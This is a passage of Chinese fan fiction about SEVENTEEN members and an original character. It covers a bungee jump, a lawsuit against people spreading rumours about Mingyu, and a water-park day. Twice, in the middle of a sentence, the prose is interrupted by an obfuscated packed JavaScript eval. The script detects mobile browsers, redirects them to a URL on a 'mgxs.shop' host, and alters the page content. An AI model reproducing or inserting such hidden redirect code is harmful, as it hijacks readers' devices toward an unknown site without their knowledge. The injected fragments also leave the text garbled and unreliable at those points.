剩下三人,姜里树,和他背上那个从听到结果就锁住他脖子不放的崔胜澈,外加表情平静已经适应了的李灿,三人乘第二趟电梯上去汇合。 姜里树他们三个等电梯的时候还能听见电梯上的李硕珉抓狂的叫声。 电梯门关上的那一刻,崔胜澈还挂在姜里树背上,下巴抵在他肩窝里,不说话,也不松手。 姜里树偏头看了他一眼。 “……这么怕?” 崔胜澈没回答。 只是搂着他脖子的手臂,又收紧了一点点。 姜里树轻轻笑了一下,对他说:“那一会儿我比你先跳,在下面等着你好吧?” “……嗯。” 李灿看他Coups实在紧张,还伸手安抚的拍一拍他哥的后背。 所有“选手”在蹦极跳台上集合准备完毕,就要一个一个站上跳台了。 李硕珉决定第一个跳,姜里树第二个,崔胜澈第三个,李灿陪着崔胜澈决定最后一个跳。 “我真的想做一回,突破自己!”李硕珉站在跳板边缘,时不时低头看一眼底下的河面,又迅速收回视线。 “那就突破他!” 尹净汉上前抱了抱他,手在他后背轻轻拍了两下。 夫胜宽也凑过来对他说:“哥!今天的话,站在这里你就是赢了!” 他也抱了抱李硕珉,声音放轻了一点,但依然稳稳的: “哥,加油!” 底下草坪上,仰着头的成员们也在喊。 “加油啊DK——!” 声音从五十米之下传上来,被风吹得有点散,但那股力量,清清楚楚地落进了李硕珉的耳朵里。 他深吸一口气。 又吸一口气。 心跳还是快。 脚像被钉在跳板上,迈不出去。 “硕珉啊。” 一个声音从旁边传来,轻轻的,稳稳的。 姜里树站在离他最近的围栏边,没有走近,只是那样看着他。 “和过去以及未来的自己,打个招呼吧。” 李硕珉愣住了。 风从河面上吹过来,吹过他的面庞,吹过他忽然放空的视线。 过去。 未来。 那个被忽略的自己。 那个一路咬牙走过来、终于站上舞台、被无数人爱着的自己。 他忽然笑了。 眼眶有点热,但嘴角是弯的。 他深吸一口气,对着远方那片看不见的天,喊了出来—— “过去的李硕珉啊——!” 声音穿过风,穿过五十米的高空,穿过这些年所有的不安和忐忑。 “未来的你,会被很多人喜欢了——!” “你不再是会被忽略的那一个啦——!” “一定一定要坚持着走下去啊——!” 他顿了顿,又加了一句,声音忽然软下来,带着点笑,带着点哽咽: “DK啊——过去的你——现在很幸福啊——!” “成员们都会在你身边陪着你的,他们真的很爱你啊——!!!” 最后一句,几乎是吼出来的。 风把声音吹散,吹向更远的地方。 “哦——!!!” 背后,夫胜宽蹦起来鼓掌,嗓子都快劈了。 “哥——!好棒——!!!” 底下草坪上,仰着头的成员们也在喊,声音此 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夫胜宽蹦着高挥手,金珉奎举着手机稳稳拍着,尹净汉站在人群里笑着鼓掌,眼眶却悄悄红了。 姜里树靠在围栏边,看着那道越荡越远的身影,轻轻弯起嘴角。 飞吧。 飞得高高的。 总会有人能够稳稳托住他,托住他们。 作为准备跳第二次的姜里树,已经熟门熟路地站上了跳台。 他转过身背对高空,看向趴在围栏边、正目不转睛盯着他的崔胜澈。 “胜澈啊。” 风把他的声音送过去,轻轻的,稳稳的。 “一会儿,一定要大声喊出来才行啊。” 把那些压在心里、从来不说出口的负担,借着这个机会,全部喊出来。 “wae?” 崔胜澈歪了歪头,没听懂。 姜里树没有回答他。 只是笑着去看他旁边那群趴在围栏上、歪着脑袋看他的孩子们,背对着五十米之下的虚空。 “wuli里兜胜澈啊——!” 姜里树的声音落在风里,落在秋天的高空,告诉崔胜澈,让他一定要这些年所有的压力、担忧和背负大声喊出来才行啊。 “过去真是辛苦你啦——!” “未来也一定要一直幸福下去啊——!!!” 最后一句,几乎是吼出来的。 他抬起手。 对着高台上那群愣住的孩子们,对着底下草坪上仰着头的成员们,对着这个秋天—— “SEVENTEEN——怀挺——!!!” 双指并拢,划过额前,敬礼挥出。 向后一仰。 头朝下。 自由坠落风中。 风从耳边呼啸而过,把所有的声音都吹散。 但在那一瞬间,他还是听见了。 听见高台上那群人反应过来之后,爆发出乱七八糟的欢呼和尖叫。 听见崔胜澈的声音混在里面,有点急,有点慌,还有点……别的什么。 他在下坠中弯起嘴角。 喊出来吧。 我听着呢。 我们听着呢 崔胜澈整个人趴在围栏上,脖子伸得老长,眼睛死死盯着那道越来越小的身影,直到姜里树稳稳落到安全降落点,被工作人员解开绳索,站起来,还朝上面挥了挥手。 呼。 他松了一口气。 然而那口气刚松到一半,就被一股涌上来的情绪堵住了。 紧张?没了。 害怕?早没了。 现在满脑子只有一个念头: 下去,给那个吓死人不偿命的家伙一拳。 “Coups啊——”尹净汉的声音从旁边飘过来,带着明显的笑意。 崔胜澈扭头。 只见尹净汉扶着夫胜宽的肩膀,笑得整个人都在抖,腰都直不起来。 “一会儿见到里树,” 尹净汉艰难地开口,声音断断续续,“一定要先替我给他一拳啊……哈哈哈哈……” 夫胜宽被他扶着,一脸表情复杂得没法形容,又想笑又觉得“刚才那一下真的吓死我了”,一整个“Boo可思议”。 金珉奎不知什么时候又坐回到了台子上,大概是腿软。 他旁边,李灿正笑得猖狂,嘴角咧到耳根。 “哈哈哈哈哈哈——!” 笑声从四面八方涌来,混着风声,飘向五十米之下那个正朝他们挥手的身影。 崔胜澈深吸一口气。 等着。 我这就下去。 “胜澈啊——!” 姜里树仰着头,手拢在嘴边,冲着五十米之上那个站在跳台上若隐若现的人影大喊。 “还记得我说的话吗——!一定要大声喊出来才行啊——!” “到底让我喊什么啊——?!” 崔胜澈的声音从上面传下来,被风吹得有点散,但还是听得出来那股“我真的不知道你在说什么”的茫然。 “对孩子们的话——!” 姜里树继续喊,嗓子都快劈了,“现在不说你等着什么时候才要说出来啊——!” 简直了,这时候还腼腆什么啊。 “!你怎么知道——!” 崔胜澈的声音忽然变了调,他自己都不知道自己有话要对成员们说。 “哎一古——!” 姜里树拖长声音,“你再不说我就走了——!” “就是啊Coups,”尹净汉倚在围栏边,笑眯眯地开口,声音悠悠地飘下去,“随便说点什么也行啊,不然……我们都先下去啦?” 他作势要转身。 “安怼——!” 崔胜澈急了。 他深吸一口气,大喊: “孩子们啊——!!!” 声音劈开五十米的风,劈开秋天的高空,劈开这些年所有没说出口的话。 “真的很感谢——我们居然互相陪伴了那么久——!!!” 底下安静了一瞬。 “我们相伴的日子,说长不长,说短不短——!!!” 他的声音在发抖,但一句都没停。 “谢谢成员们!一直跟随着我这个不足的队长——!!!” “以后!我也会继续在队长的位置上,继续带领团队——!!!” 最后一句几乎是吼出来的。 风把声音吹散,吹向更远的地方。 就在那一瞬间—— “Coups哥——!!!” 底下爆发出震耳欲聋的回应。 “是最好的里兜啊——!!!” “哥——!我们爱你——!!!” 李硕珉的声音最大,喊得嗓子都快冒烟了。 “Coups啊——!!!” 尹净汉也喊了,声音里带着笑,带着别的什么。 “以后我们也会一直走下去的啊——!!!” 崔胜澈站在跳板上,听着那些声音,眼眶忽然有点热。 他深吸一口气,笑了出来。 “Say the name——!” 他对着底下那群仰着脑袋的孩子们喊。 风把声音送下去。 紧随其后的是他们喊过无数遍的名字: “SEVENTEEN——!!!” 所有成员,同一时间,喊出那个名字。 声音汇成一片潮,涌上五十米的高空,涌进崔胜澈的耳朵里。 他闭上眼睛。 跳了出去。 带着那句没说出口的“谢谢”,和无数句“我爱你们”。 乘风而起。 姜里树站在安全降落点上,张开双臂。 崔胜澈被绳索慢慢放下来,脚刚离开地面几寸,就被一把接住。 抱了个满怀。 姜里树感觉到怀里那个身体在轻轻发抖。是紧张过后的生理反应,也是兴奋过后的余韵。 他拍了拍崔胜澈的后背,一下一下,稳稳的。 “还好吗?” “嗯!”崔胜澈把脸埋在他肩窝里,声音闷闷的,但那股开心藏都藏不住,“很开心! ” 他没说是因为什么开心,可能是因为孩子们的话,或是因为蹦极本身。 但姜里树明白。 也许两者都有。 “走吧,”他松开手,轻轻拍了拍崔胜澈的后腰,“我们先过去集合,灿还没下来。” “好。” 崔胜澈脚踏实地,终于彻底放松下来。 李灿还站在跳台上。 他们SEVENTEEN的钻石尖尖,他们十三个人的宝贝忙内。 “直到刚才为止,台词都很不错的知道吧!” 尹净汉已经下去了,仰着头冲他喊,声音里带着笑。 “现在要做吗?” 李灿眨眨眼,明白了,这是要他做结束语。 “Dino呀——!” 金珉奎也跟着喊,双手拢在嘴边,嗓门亮得震天响。 “是很不错的内容啊——!” “做一个帅气的结尾吧——!” “你是最棒的忙内啊——!!!” “灿呐——!你是最后一位——!所以你是主人公啊——!!!” 声音从底下涌上来,此起彼伏,热热闹闹。 李灿听着那些声音,嘴角轻轻弯了一下。 但他没听哥哥们的“花言巧语”。 他站上跳板最前端,对着镜头,像隔空在和某个时间正在观看的克拉们说话。 “今天,有趣的看了吗?” 他的声音被风吹得有点抖,但很稳。 “下一次的《Going》,也请多多期待!” 再次跃下高台。 “我们下次再见吧~” 他试着唱起来,声音颤抖,依旧吐字清晰。有点过于清晰了!!! “我们都不要伤心~” 第二句刚出口,他就发现嘴在抖。 控制不住的那种抖。 于是他放弃了。 语速飞快,像在和时间赛跑: “请期待下一次的《GOING SEVENTEEN》吧——!!!!!” 60. 小插曲和事业心 新一年的开始,总是伴随着一些令人不快的“小插曲”。 公司那边的反应倒是很快,快得像是早有预案。金社长亲自打电话过来,语气委婉又“体贴”: “要不……让珉奎先回家休息一阵?等风头过去了再……” “不用。” 姜里树打断他,语气平平,听不出什么情绪。 第二天,他就带着崔胜澈和金珉奎,坐在了Pledis的会议桌前。 对面是金社长,和一整排法务部的人。 “老老实实走法律程序。”姜里树开口,没有多余的寒暄。 “追究闹事人一切法律责任,赔偿最大化。” 他顿了顿。 “不接受任何和解。” 会议室里安静了几秒。 金社长也点点头,斟酌着开口:“会不会……闹得太大?” 对面坐着的是三个他看着成长起来的孩子们。SEVENTEEN总队长崔胜澈,被此次事件涉及的当事人金珉奎,以及正坐在金珉奎身旁的姜里树。 顺便一说。 姜里树和崔胜澈最近开始接手Pledis的报表事务工作了。 更何况,这也不是他们第一次坐在这个位置。 姜里树没有回答金社长的问题。 他只是转着手里的笔,一下,一下。 “哎一古,” 他开口,语气慢悠悠的吐槽道,“我以为之前那个所谓‘未婚妻’的处理,已经让一些人长记性了?” 笔继续转。 “现在看来,还是不够啊。” 他叹了口气。 金社长擦了擦额头上并不存在的汗。 “而且,” 姜里树忽然停下转笔的动作,抬眼看向对面那群法务部的人,“什么时候,造谣这种事,居然要我们自己拿出证据了?这时候拿出法律程序追究不是都不用商量的事吗?非要等脏水泼到身上才行吗?” 他歪了歪头,一连问出好几个问题。 “不该是谁造谣,谁举证吗?这还要教吗?” 会议室里的空气凝滞了一瞬。 金社长干咳一声:“公司会尽快处理的……你们的综艺活动该拍的都去拍,其他的不用操心——” “两天。” 姜里树对法务部说。 笔停了。 他终于抬起头,面无表情地看着金社长,和一整排法务部的人。 “两天之内。” 他重复了一遍,才看向金社长笑了起来。 “不然我就自己来动手喽。” 金社长张了张嘴,又闭上。 这小子。 最后,他点了点头。 “好。” 姜里树站起身。 崔胜澈和金珉奎也跟着站了起来。 离开会议室。 走廊很长,阳光从落地窗斜斜地照进来,落在三个人身上。 崔胜澈偏头看了一眼金珉奎。 从进公司到现在,这孩子就没怎么开过口。不是害怕,只是沉默,那种把事情默默接住、不想让别人担心的沉默。 他抬手,轻轻捏了捏金珉奎的后脖颈。 “放松点。” 力道不重,但很稳。 金珉奎被捏得缩了一下脖子,终于弯了弯嘴角。 “珉奎啊。” 姜里树走在他另一侧,手臂盘着,语气随意得像在聊今天的天气。 “担忧还不如想想中午吃什么,哥给你做啊。” 金珉奎愣了一下。 然后笑了。 “啊?” 他歪了歪头,语气里终于带上了点平时的样子,“担忧什么?” 他确实没什么好担忧的。 事是假的,他没做过。这一点,他自己比谁都清楚。 “哥,” 金珉奎左右转头看向姜里树,又看了看崔胜澈,放声笑了出来,他说:“你们在这,不就是我最好的底气吗?” 他说得理所当然,像在陈述一个不需要证明的事实。 姜里树听完,嘴角轻轻弯了一下。 还有一件事,他没说出口,但一直放在心上。 事发当天,姜里树就给金珉奎的奶奶和父母打了电话。 电话那头,珉奎奶奶的声音有点急。姜里树没有绕弯子,直接说明了情况:假的,在处理,珉奎很好,不用担心。 他还发了金珉奎当天在宿舍吃饭的照片。盘腿坐在地板上,啃着鸡腿,笑得没心没肺。 珉奎奶奶看了,笑了,说“那就好”。 金珉奎也不知道姜里树什么时候联系的奶奶和父母,他爸妈后来打电话来,语气已经稳了,还叮嘱他“好好吃饭,照顾好自己”。 他当时“嗯嗯”地应着,挂了电话,对着天花板发了一会儿呆。心里却想着这哥是什么时候做的这些事? 他都不知道。 但他知道,有这两个人在身边,他确实没什么好担忧的。 “所以,” 他忽然开口,打断了姜里树和崔胜澈的安静,“中午可以吃火锅吗?” 姜里树看他一眼,笑了。 “想吃什么都可以。” 阳光落在三个人身上,把影子拉得很长。 走廊走到尽头,门推开,外面是等着他们回去的,十四个人的春天。 这件事的第二天一早,天还没完全亮透,Pledis的官方账号就更新了。 不是那种含糊其辞的“正在确认事实”的公关稿。 是一份完整的、措辞严厉的法律程序声明。 ——已委托法务团队对造谣者提起诉讼。 ——不接受任何形式的和解与协商。 ——将追究到底,直至法律给出公正判决。 声明末尾,还附上了律师事务所的公章和联系方式,明明白白,毫无转圜余地。 粉丝圈炸了。 路人懵了。 那些等着看热闹的、等着公司“冷处理”的、等着当事人“回家休息”的,全都没等到他们想要的剧本。 为了一博眼球,却只等来了一纸诉状。 宿舍里,金珉奎是被冲进卧室的李硕珉摇醒的。 “珉奎啊!珉奎!你快看手机!” 金珉奎眯着眼摸过手机,划开,看了一眼,又看了一眼。 然后他愣在那儿,半天没动。 屏幕上,那条声明已经被转疯了。评论区全是克拉们的支援评论,“硬气啊!”“支持维权!”“Pledis终于做人了,这波干得漂亮啊!”“我们珉奎虽然很爱吃,但是也不是什么亏就往肚子里咽啊!!”的留言。 他把手机放下,又拿起来,再看一遍。 真的。 不是做梦,这也太快了吧? 二楼阳光房里,姜里树正端着咖啡看平板,表情淡淡的,像在看一份普通的报表。 金珉奎走过去,站在他旁边,没说话。 姜里树抬头看了他一眼。 “怎么了?早餐在厨房。” 金珉奎张了张嘴,想说什么,又觉得说什么都不太对。 最后他只是坐下来,靠在姜里树肩上,闷闷地说了句: “……谢谢哥。” 姜里树没动,笑了出来,伸手揉了揉他的脑袋。 这事儿后续处理得很快。 快得让很多人还没反应过来,事情就已经尘埃落定。 本就是无中生有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206000|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造谣,在风浪还没来得及涌起的时候,公司这边已经用雷霆手段把源头掐断。法律程序走得很顺,证据确凿,对方根本无力辩驳,甚至是金珉奎的老师同学都来帮他作证。 胜诉判决下来的那天,金珉奎正在宿舍客厅和成员们看电影。 律师打电话过来的时候,他按了免提。 “……赔偿金额已经确定,您看什么时候方便……” 金珉奎听完,没怎么犹豫。 “全部捐了吧。” 电话那头顿了一下:“捐给……?” “保护未成年人的官方组织。” 他想了想,又补了一句,“随便哪个都行,能帮到孩子们的就好。” “帅哦!”尹净汉对金珉奎比了个赞。 后来,那笔赔偿金被捐给了致力于保护未成年人的官方组织。 没有大肆宣扬,没有买热搜,只是一条简短的公告挂在公司官网的角落里,像一件本该如此的小事。 克拉们发现了,就默默转发,在日常生活中也学着自担学会保护自己,保护他人。 路人们看到了,点个赞也会夸赞评论几句这孩子真好之类的。 而金珉奎本人,那天正蹲在厨房里,和姜里树一起研究新菜谱。 “哥,这个调料是不是放多了?” “没有,你信我。” “……上次你也这么说,结果就一口咸得Coups哥喝了两杯水。” “那是意外。” 窗外天气格外明媚。 小分队的孩子们出去跑行程了,姜里树本来闲置在宿舍里陪着Kkuma和Cookie玩儿呢,被崔胜澈抓住去了公司跟着金社长学习公司报表业务。 “为什么我也要去啊?” 姜里树窝在副驾驶里,整个人懒洋洋的,像一只被强行从阳光下拖走的猫。 崔胜澈握着方向盘,目视前方,语气理所当然:“看不得你太闲了。”顿了顿,又补了一句:“而且这不是努那给你的工作吗?” 话说完,他自己先愣了一下。 ……好像哪里不太对。 姜里树偏过头,看着他,嘴角慢慢弯起来: “什么叫‘看不得我太闲了’?” 他拉长声音,语气里带着点欠揍的悠闲。 “这不是你的愿望吗?我这帮你实现了,有什么不好的啊?” 崔胜澈沉默了两秒。 然后他开口,语气忽然变得很平: “那你要不要和我说说为什么孩子们都有小分队形式的组合行程,你的呢?” 车里安静了一瞬。 “……”姜里树心虚的扭过头,开始认真地研究车顶的材质,这车顶可真车顶啊,接着又专注地欣赏车窗外的风景,哇塞风景也不错啊。 就是不看他。 崔胜澈深吸一口气。 “里树啊。” “……嗯?” “有点事业心好不好。” 他的声音终于破了功,带着点无奈和好笑。 “里树啊,要有点事业心才行啊!喜欢你的克拉们也想要在镜头前看到你的啊!!!” 这是什么隐藏款成员吗?集齐十三个才会自动出现隐藏款第十四个。 姜里树终于转回头,看了他一眼。 然后他傻兮兮的笑了。 笑得懒洋洋的,跟一只终于被太阳晒舒服了的猫一样。 “啊啦搜啊啦搜,我平时也有在ins和wb上和孩子们聊天啊。” 他摆摆手。 “这不正跟你去公司吗。” 崔胜澈瞪他一眼,没再说话。 车继续往前开。 阳光落在两个人身上,暖融融的。 61. 水上乐园 蒸腾的暑气包裹着这座城市。午后走在街头,空气稠得像还没凝固的糖浆,黏在每一寸皮肤上。柏油路面被晒软了,踩上去有轻微的凹陷感。便利店的冰美式纸杯外凝结着密密的水珠,那是首尔盛夏唯一的救赎。 姜里树推开门。 屋内的冷气扑面而来,像一层看不见的凉意裹住他被阳光晒得微微发烫的皮肤。那一瞬间,他终于感觉自己活过来了。 窗外依旧是三十度的风,被玻璃隔在另一个世界。 身后的孩子们也一一走了进来,大家在制作组提前订好的饮品店里短暂集合。这里只是一个歇脚的中转站,他们今天的活动并不在这里进行。 姜里树走向饮品制作台,那里是店家专门留出来的简易操作区。他朝制作组和店铺老板询问借用,随后挽起袖子,开始给被热得不行的成员们做几杯简单的果汁冰饮。榨汁机嗡嗡响起,冰块在杯壁碰撞出清脆的声响。不一会儿,几杯颜色清爽的冰饮就递到了眼巴巴等着的孩子们手里。 短暂的休整过后,大家陆续起身。门外,舒适的商务大巴车早已准备好,正等着载他们前往今天的真正目的地。 姜里树直接听着歌睡了一路,等醒来时,车已经停在了加平的一处别墅区。 眼前的景象让刚下车的成员们瞬间精神了。 大大的泳池在阳光下泛着粼粼波光,房子另一侧隐约可见滑水道和水上娱乐设施的轮廓。还没等导游开口介绍,人群里已经响起了此起彼伏的“哇”声。 “我可不可以住在水池里?” 姜里树背着包,眼神直直地盯着那片清澈的水面,脚步已经不受控制地往那边偏移。 刚迈出两步,后脖颈就被一只手精准地捏住了。 “等下。”崔胜澈的声音从背后传来,带着点无奈的好笑,“先去把宿舍分配好,再来玩。” 姜里树被揪着后领拽回来,也不挣扎,只是回头看了他一眼,眼神里写满了“一定要快点啊”。 崔胜澈松开手,在他后脑勺上轻轻拍了一下。 “啊啦搜啊啦搜,走吧。” “有没有人现在能陪我去玩冲浪板的——!” 徐明浩的声音从庭院里炸开,尾音上扬得像是下一秒就要蹦进那片蓝汪汪的水里。 “我!” 崔胜澈刚好从别墅里走出来,一边应声一边指了指自己身上的衣服,“但是要先去换一身。” 话音刚落,姜里树也从门口冒了出来头发还有点乱,眼神却已经精准地锁定了泳池的方向。 “我。” 他言简意赅,说完就准备往那边走,完全忘了自己刚从沙发上爬起来,身上穿的还是休闲服。 两人正要结伴去换衣服,路过的金珉奎摆摆手。 “我先去做点吃的。”刚刚车上的紫菜包饭只够开胃,他说完就拐进了厨房。 崔胜澈和姜里树对视一眼,默契地转身往屋内走去。 徐明浩在一楼晃悠着等那两个人,最后干脆和权顺荣一起坐在泳池边上,把脚伸进水里踢着玩,溅起一片细碎的水花。 等姜里树穿着可以下水的衣服出来时,泳池里已经热闹起来了。李硕珉正坐在充气泳圈上晃晃悠悠地漂着,尹净汉站在岸边举着水枪,毫不客气地往他身上滋,惹得李硕珉一边躲一边喊“安怼!安怼!小心麦克风!”。 姜里树看了一眼这画面,决定先在池边坐会儿。 他刚把脚伸进水里,身后就传来一阵急促的脚步声。权顺荣换好衣服从屋里冲出来,连台阶都没走,一个助跑直接跃进了泳池,炸起一大片水花。 “哦吼~” 姜里树坐在池边,轻轻拍了拍手,权顺荣从水里冒出头,冲他笑得一脸灿烂。 没一小会儿,崔胜澈也出来了。他和徐明浩招呼了一声,带着尹净汉、姜里树、权顺荣一起往屋子前头的水上娱乐区走去。 到了地方,几个人迅速分好了队。尹净汉和徐明浩盯上了水上的充气闯关游戏,崔胜澈和权顺荣则直奔水上滑板。只有姜里树还站在岸边,没想好要玩什么。 他本来想找安全教练借个潜水镜,下去探探水底,结果被礼貌地拒绝了。 姜里树只好坐在岸边继续踢水,看着远处那几个人在水上折腾。 正发着呆,李知勋不知什么时候晃了过来,站在他身后问他们:“要不要吃点东西?珉奎那边做好了。” 姜里树回头看了他一眼,又看了看远处玩得正欢的几个人。徐明浩在充气垫上摇摇晃晃地走,尹净汉在后面追着滋水枪;崔胜澈和权顺荣还在等滑板。 他收回视线,冲李知勋摇了摇头。 “先不吃。” 李知勋也没多说什么,点了点头,转身往回走。 姜里树继续踢水。 阳光落在水面上,晃得人眼睛发亮。 最后,吃饱喝足的孩子们也陆续晃了过来。崔胜澈跑去玩“水上沙发”,被快艇拖着在湖面上颠得一路喊;权顺荣则和姜里树一起玩滑板,两个人一人一艘快艇,各自被拉着在水面上划开两道白浪。 一开始,姜里树根本睁不开眼,水浪劈头盖脸地打过来,他只能眯着眼睛,全靠身体本能维持平衡。滑了几趟之后,他渐渐摸到了门道,调整了一下站姿,试着把重心压低,迎着浪尖找节奏。 等眼睛终于能睁开了,人也稳住了。 他开始不满足于只是滑。 试着抬了抬脚,想做个空翻,结果快艇的速度并不快,脚刚离开板面,整个人就晃了一下,差点栽进水里。 姜里树稳住身形,低头看了一眼脚下的浪花,有点遗憾地弯了弯嘴角。 速度不够啊。 远处,权顺荣正从板上摔进水里,笑声顺着风飘过来。 回到岸上,姜里树把手里的滑板递给了跃跃欲试的孩子们,自己转身往水上乐园那边走去。 充气关卡一个接一个地试过去。摇摇晃晃的浮桥、滚动的圆筒、需要跳着过的充气垫,他挨个踩了一遍,最后爬上了最高的充气滑梯。 “唰——” 水花炸开,整个人落入水中。 他没急着起来。 就那么仰面躺下去,四肢舒展,双手放在腹部,随着水波轻轻晃动。阳光刺眼,他眯着眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206001|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看天上的云慢慢飘过去。 远处的笑声和浪声混成一片,模模糊糊地传进耳朵里。 像一只随波逐流的海獭。 他这么想着,弯了弯嘴角,懒得动。 屋檐下,洪知秀慢悠悠地掏出手机,镜头对准水上乐园的方向,那个正仰面漂浮着、像只随波逐流的海獭的身影,被他定格在屏幕里。 拍完,他把手机收起来,带着身边几个成员往水上充气乐园走去。 没一会儿,姜里树的耳边就响起了此起彼伏的落水声。 噗通——! 哗啦——! 他睁开眼,侧头一看,李灿刚从充气垫上滑下来,姿势不算好看;夫胜宽在浮桥上被崔胜澈推进水里,水花炸得比谁都大;后面还有几个正在摇摇晃晃地走着,眼看着也要“下饺子”了。 他没动。 就这么飘着,看他们一个个花样落水。 “hiong!” “?” 姜里树从水面上抬起脑袋,左右转了一圈,找声音的来源。 “这里——!” 李灿的声音从背后传来。姜里树扭头一看,这小孩儿正站在充气滑梯顶上,一只手扶着边沿,一只手使劲儿朝他挥着。 姜里树弯了弯嘴角,也朝他摆了摆手。 然后继续仰面躺回去,飘着。 “hiong!准备好——!” “?” 什么准备好? 姜里树还没来得及开口,余光里就见一道黑影从滑梯顶端俯冲下来—— 李灿站着滑下来的。 “!” 滑到底的瞬间,他纵身一跃。 正中目标。 噗通——! 两个人一起沉进水里,又被安全衣的浮力猛地拽回水面。 姜里树浮出水面,抹了一把脸上的水,转头看向旁边那颗同样湿漉漉的脑袋。 李灿正冲他笑得一脸灿烂,完全没意识到自己刚才干了什么。 姜里树张了张嘴,又闭上了。 “……” 算了。哥的命其实不值钱啊,灿。 被李灿那记“爱的暴击”精准命中之后,姜里树终于放弃了继续在水里漂着的念头,乖乖爬上岸。 他找了张躺椅,把自己摊上去,眯着眼看水里那群还在折腾的人。 李灿又爬上了滑梯,这回拉着崔瀚率一起往下滑,两个人落水的姿势依然不怎么好看,但笑得比谁都响。夫胜宽还在闯关垫上摇摇晃晃地走,被尹净汉从后面一推,扑通一声栽进水里,浮起来的时候抹着水嘟嘟囔囔的。 姜里树摸出手机,对着那边拍一张。 又拍一张。 崔胜澈正在水里扑腾着追谁,李硕珉骑着充气天鹅路过,被他一拽,连人带鹅翻进水里。 姜里树弯着嘴角,又按了一张。 阳光落在水面上,晃得人眼睛发亮。笑声和溅水声混成一片,远远地传过来。 他靠在椅背上,手机搁在肚子上,眯着眼看那群人闹。 今天的水上娱乐项目,玩得很尽兴了。